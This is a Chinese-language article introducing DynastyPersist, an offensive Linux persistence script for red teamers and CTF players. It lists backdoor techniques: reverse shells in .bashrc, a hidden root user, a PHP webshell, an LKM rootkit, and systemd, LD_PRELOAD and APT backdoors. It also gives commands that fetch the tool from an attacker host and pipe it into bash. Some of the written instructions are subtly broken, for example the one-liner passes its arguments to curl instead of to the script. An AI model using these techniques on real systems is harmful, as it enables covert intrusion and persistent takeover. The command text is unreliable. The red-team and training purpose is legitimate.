关于DynastyPersist
DynastyPersist是一款专为红队研究人员和CTF玩家设计的Linux安全测试工具,该工具可以适用于各种安全评估任务和安全测试场景。
DynastyPersist本质上是一个Linux持久化脚本,并提供了大量的安全测试功能,可以为我们展示在Linux操作系统上实现持久化的各种不同方法,并帮助广大研究人员测试和提升目标Linux操作系统的安全性。
功能介绍
1、SSH密钥生成:自动生成用于隐蔽性访问的SSH密钥;
2、Cronjob持久化:为持久化设置Cronjob;
3、自定义拥有root权限的用户:创建具有Root权限的自定义用户;
4、RCE持久化:过远程代码执行(php-webshell)实现持久化;
5、LKM/Rootkit:演示基于Linux内核模块(LKM)的Rootkit持久化;
6、Bashrc持久化:修改特定用户Shell初始化文件实现持久化(别名/反向Shell);
7、针对Root权限的Systemd Service:设置一个systemd服务实现root持久化;
8、LD_PRELOAD权限提升配置:配置LD_PRELOAD实现权限提升;
9、设置信息后门:对显示的系统信息植入后门以实现隐蔽性访问;
10、修改现有的Systemd Service:修改一个现有的systemd服务实现持久化;
11、后门APT命令:使用后门APT命令弹出Shell;
工具安装
由于该工具的执行需要使用到Python 3,因此我们首先需要在本地设备上安装并配置好Python 3环境。接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地:
$ git clone https://github.com/Trevohack/DynastyPersist.git
然后执行下列命令并以8080端口启动服务端:
$ python3 -m http.server 8080
然后创建软连接,并切换到项目目录下,为工具主脚本提供可执行权限:
cd /opt wget -c [ATTACKER-IP]:8080/DynastyPersist cd DynastyPersist chmod +x dynasty.sh
工具使用
下列命令即可直接运行dynasty.sh,在执行脚本时需要提供测试方源IP地址和端口号信息:
./dynasty.sh <ATTACKER_IP> <PORT>
除此之外,我们也可以直接使用One-Linear方式执行DynastyPersist:
curl -sSL [ATTACKER_IP]:8080/DynastyPersist/dynasty.sh <ATTACKER_IP> <PORT> | bash
许可证协议
本项目的开发与发布遵循GPL-2.0开源许可证协议。
项目地址
DynastyPersist:【GitHub传送门】
参考资料
https://discord.gg/WYzu65Hp